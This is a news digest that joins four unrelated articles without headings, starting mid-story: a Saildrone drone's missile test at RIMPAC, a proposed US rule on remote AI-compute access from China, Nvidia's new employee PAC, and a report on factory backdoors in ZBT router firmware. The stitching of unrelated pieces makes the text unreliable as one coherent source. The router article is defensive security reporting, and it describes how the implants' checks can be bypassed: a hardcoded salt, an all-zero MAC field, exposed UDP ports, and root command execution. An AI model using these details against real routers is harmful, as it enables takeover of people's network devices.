At RIMPAC, the USS Theodore Roosevelt (CVN-71) Carrier Strike Group had access to the Saildrone as a combat asset for the first time. Under the control of ARES, the sea drone successfully launched two lethal JAGM missiles. These missiles feature two independent guidance modes: a semi-active laser and millimeter-wave radar. Combining both, the JAGM can be effective in all weather, including low-visibility maritime environments.

The development of the Saildrone Surveyor SD-3001 USV with JAGM has been remarkably rapid. Work began on the collaborative project back in October 2025, with the partners hoping to “combine Saildrone unmanned surface vehicles with Lockheed Martin’s combat-proven effectors.” Both parts of the equation were operationally proven, yet getting everything working as intended within six months, and then taking part in a successful live-fire demo remains quite an achievement. The goal also required the integration of the USV into the Navy fleet environment so it would work with the Navy’s Adjunct Remote Engagement System (ARES). That’s what was demonstrated at RIMPAC this year.

Another useful function of the long-term, long-range autonomous Saildrone demonstrated at RIMPAC was its EW capability. The sail-sporting drone coordinated its sensors with an MH-60S helicopter to successfully detect, classify, and identify a surrogate threat during the exercises.

Lockheed Martin, Saildrone, and the U.S. Navy have more tests and trials planned for this seafaring USV. Saildrone notes that the “SD-3001 is now well on its way to its next mission.” Meanwhile, work alongside Lockheed Martin continues, with this demonstration claimed to have de-risked larger payload integrations planned for the larger Saildrone Spectre. The Spectre is expected to carry “significantly larger containerized capabilities including the Lockheed Martin Mk 70 launcher and SURTASS Towed Array.”

The Trump administration is considering a new AI export control that would close a loophole in current U.S. trade policy toward China, that being the PRC's access to advanced AI compute through remote servers in nearby countries, reports The Information. The rule, should it go into effect, would target remote access through Thailand and Singapore, which aren't subject to the same export controls as China. The Department of Commerce could share the rule with trade groups to gather feedback as early as September, according to the report.

The U.S. government has struggled to reckon with AI export controls since overturning the Biden-era AI Diffusion Rule in early 2025. The AI Diffusion Rule is still in effect, though the Commerce Department has said it won't enforce the rule in the interim. In March, the Commerce Department issued a statement about a tiered licensing structure for advanced AI chip exports. The rule was revoked a little over a week later due to pushback from the U.S. AI industry.

This mismatch of Biden-era rules and Trump-era proposals has created uncertainty about the administration's plans to curb exports to China. Meanwhile, Taiwan has taken action against alleged smugglers of Nvidia's most advanced AI chips to China. In July, one Nvidia employee was detained in Taiwan on suspicion of falsifying documents, and just days ago, the Taiwanese government indicted nine people in relation to Supermicro servers being smuggled to China.

Export controls are mainly governed by 2022-era rules, which restrict Chinese access not just to advanced AI chips, but also advanced semiconductor manufacturing tools, such as EUV lithography machines. Current U.S. House members have called on the Trump administration to enforce the export controls that Joe Biden introduced as the end of his term in early 2025.

According to The Information, one of the driving forces behind the proposed rule is Moonshot's Kimi K3 model. Director of the White House Office of Science and Technology Policy Michael Kratsios posted on X in July, alleging that Moonshot used distilled U.S. models to train Kimi K3 through Nvidia-equipped servers in Thailand.

If the Commerce Department moves forward with the rule, it's sure to face legal challenges. An attorney at the firm Baker McKenzie told The Information that it's "widely acknowledged" that the Commerce Department can't enforce a regulation on remote access. The department instead has, traditionally, regulated the transportation of physical goods.

Still, the Commerce Department could crack down on remote access through other avenues. Namely, through know-your-customer checks. The Biden administration put these checks into effect with the Foundry Due Diligence Rule in early 2025, shortly before Joe Biden left office, but the Trump administration has said it won't enforce the rule.

When you serve a barely regulated emerging market worth trillions of dollars, you have to gear up your presence in politics beyond what usual lobbying or government affairs can do. This is exactly what Nvidia is doing by establishing its employees' federal political action committee (PAC), which will fund politicians whose positions are favorable to Nvidia's interests, reports Bloomberg.

The Nvidia employees PAC — which was registered with the Federal Election Commission on Thursday — will receive voluntary contributions from eligible Nvidia employees, who can provide up to $5,000 per year. The PAC will be permitted to contribute to federal candidates from both parties as well as party committees that express positions which align well with Nvidia's own goals, particularly in the fields of AI regulations, export controls, education, infrastructure spending, and workforce policy, just to name a few.

Nvidia reportedly told employees eligible to participate that decisions Congress makes over the coming years could have substantial consequences for the AI industry and everyday use of the technology. The company also noted that policymakers have increasingly focused on its industry and that decisions made in Washington affect both Nvidia's business and its customers' ability to obtain and deploy its technologies.

Nvidia has already substantially expanded its political operation. The company has spent more than $2.5 million on federal lobbying this year, an increase compared with the same period last year, according to lobbying disclosures seen by Bloomberg. In June, Nvidia hired Bruce Andrews, who previously headed government affairs at Intel and served as deputy secretary at the U.S. Commerce Department in Obama's government, as chief external affairs officer. In addition, Nvidia has hired five external Washington lobbying and government-relations firms to advocate for the company on a range of issues, including AI and trade policy, among others. The company also donated $1 million to the Trump Vance Inaugural Committee in January 2025.

Nvidia needs a PAC because lobbying and campaign contributions serve different purposes. The company can spend corporate money to lobby lawmakers, but it generally cannot use corporate treasury funds to contribute directly to federal candidates. Meanwhile, a company-sponsored PAC has a legal mechanism to collect voluntary contributions from eligible employees and direct that money to candidates and party committees from either party.

Meanwhile, unlike individual campaign contributions, donations made by the PAC will be publicly disclosed and subject to spending limits that do not increase with inflation. Furthermore, corporate PACs face growing resistance from lawmakers, according to Bloomberg. More than 270 House and Senate candidates have pledged to reject corporate PAC contributions this election cycle, the highest number since End Citizens United began promoting the commitment in 2018, Bloomberg claims. However, it is unclear whether these 270 are serious major-party nominees or current members of Congress, or some of the thousands of declared congressional candidates.

Nvidia is hardly alone in increasing spending on its influence in Washington, as most high-tech companies, now joined by AI giants, tend to spend millions on government relations and lobbying. The establishment of the PAC just highlights Nvidia's growing dependence on policies set in Washington.

Security researchers have found three different backdoor-like implants hidden in firmware for routers manufactured by Shenzhen Zhibotong Electronics, better known as ZBT. The hardware is sold around the world under a bewildering array of brands, meaning you may not even realize you're using a ZBT router. The research, published by security firm VulnCheck, began with a Zbtlink AX3000 router. Researchers found that its firmware contained an implant that they dubbed ENDLESSDOORS, as it automatically phones home to a command-and-control server and can execute arbitrary commands as root.

ENDLESSDOORS is essentially a remote-control system embedded directly into the router's firmware. It starts automatically at boot and disguises itself as a normal Linux kernel process called kworker. The router periodically connects to a hard-coded server and announces itself. There's no meaningful authentication or encryption involved. Commands received from the server are passed directly to a shell running as root, and the implant can also establish an interactive root shell.

VulnCheck demonstrated the problem by impersonating the command server and taking control of its own test router. In other words, this isn't merely a theoretical vulnerability; if an attacker can hijack the connection to the implant's command server, they can obtain complete control of the router. The researchers found ENDLESSDOORS embedded in firmware for 20 ZBT models, including the Z8102AX, WG3526, WE826-T3-DSIM, and several other cellular routers. The same hardware is also sold under other names because ZBT manufactures routers for OEM and ODM customers. VulnCheck assigned the issue CVE-2026-66747, with a CVSS score of 9.3, but that wasn't the end of the investigation.

VulnCheck subsequently bought an $88 Deep Orange cellular router from a US seller on Amazon and discovered that it was actually a white-labeled ZBT-WE826-T2. Its 2019 firmware was too old to contain ENDLESSDOORS, but instead, it contained two other implants that the firm designated DARKLANTERN and SPEAKINGSTONE.

DARKLANTERN is the particularly straightforward one. Operating as the infosrvd service, it opens a listener on the WAN via UDP port 9992 and accepts commands directly from the Internet without authentication. An attacker only needs to send a fixed 19-byte info probe to force the router to reveal identifying information like its model, firmware version, MAC address, and uptime.

Researchers found that the backdoor's meager security mechanisms could be trivially bypassed: its command payload checksum relies on a static, hardcoded salt ("mqonu.com"), and its internal MAC address filter can be entirely circumvented simply by submitting a MAC field of all zeroes. This allows any remote attacker to easily forge a packet and execute arbitrary commands as root. VulnCheck scanned the Internet and found 203 exposed DARKLANTERN instances in 22 countries, spread across 16 router models.

Meanwhile, SPEAKINGSTONE works differently and is even more concerning. Rather than waiting for an attacker to connect to a listening port, it runs as the yunmgrd service and periodically beacons outbound to ZBT's command-and-control infrastructure over UDP port 10000. That makes it useful even when the router sits securely behind NAT or a firewall, as it relies on a custom format dubbed "zbtProtocol" to push full device fingerprints directly to the remote server. SPEAKINGSTONE is also considerably more capable than simply providing a remote shell. According to VulnCheck, its command protocol allows remote operators to execute arbitrary commands, steal WAN PPPoE credentials, rewrite a DNS hijack list, and establish a reverse SSH tunnel.

The researchers also discovered a backup command server domain embedded in the malware that nobody had registered, so naturally, they registered it themselves. VulnCheck set up a server capable of speaking SPEAKINGSTONE's protocol at the newly registered "www.findmyipaddr.com" and watched the infected routers start calling home.

By August 21st, 392 unique devices had connected to the sinkhole. Fully 390 of those 392 were located in China, with the vast majority using China Mobile's network. Most of those devices were the same router model running the same firmware, suggesting a large-scale carrier deployment rather than random consumer infections. VulnCheck describes this particular deployment as "domestic Chinese surveillance technology."

Now, that doesn't mean every ZBT router is a Chinese surveillance device. VulnCheck found ZBT hardware being sold under numerous independent brands worldwide, including Lippert Components, Wave WiFi, OneX in Australia, MoFI Network in Canada, Digineo in Germany, and more. Vulncheck explicitly notes that some of the firmware they examined did not contain the implants, calling out MOFI Network in particular for creating its own firmware which, when examined, "didn't contain any implants."

The problem is that ZBT's OEM business makes the hardware's origin surprisingly difficult to identify. The same underlying platforms have appeared under brands including WiFlyer, Deep Orange, Cioswi, CroSkylink and KuWFi, among others.

So the really unsettling part isn't that VulnCheck found three vulnerabilities in an obscure router. It's that these aren't conventional vulnerabilities where someone accidentally forgot to bounds-check a buffer. These are pieces of software deliberately included in the router firmware that provide remote access to the device. We would normally call this malware, but ZBT has described ENDLESSDOORS as an after-sales technical-support mechanism.

VulnCheck's counterargument is pretty compelling; the firm says that whatever its intended purpose, the mechanisms don't securely authenticate the party controlling them. An attacker who can hijack the communications can potentially exercise the same privileges, and because ZBT hardware is frequently sold under other brands, simply not buying something with “ZBT” printed on the box isn't necessarily enough.

If you own one of the affected devices, of which you can find a list at VulnCheck's blog entries for the vulnerabilities (ENDLESSDOORS and the other two), the only real solution is to simply replace it, because the security holes were installed at the factory; it's not as if installing a different firmware version is going to restore trust. Even if your device isn't listed, for anyone running a cheap cellular router, travel router, RV router, or other piece of networking hardware from an obscure OEM, you need to keep in mind that the brand on the plastic probably isn't the company that wrote the firmware, and the fellow who wrote the firmware may not share your values with regard to freedom or privacy.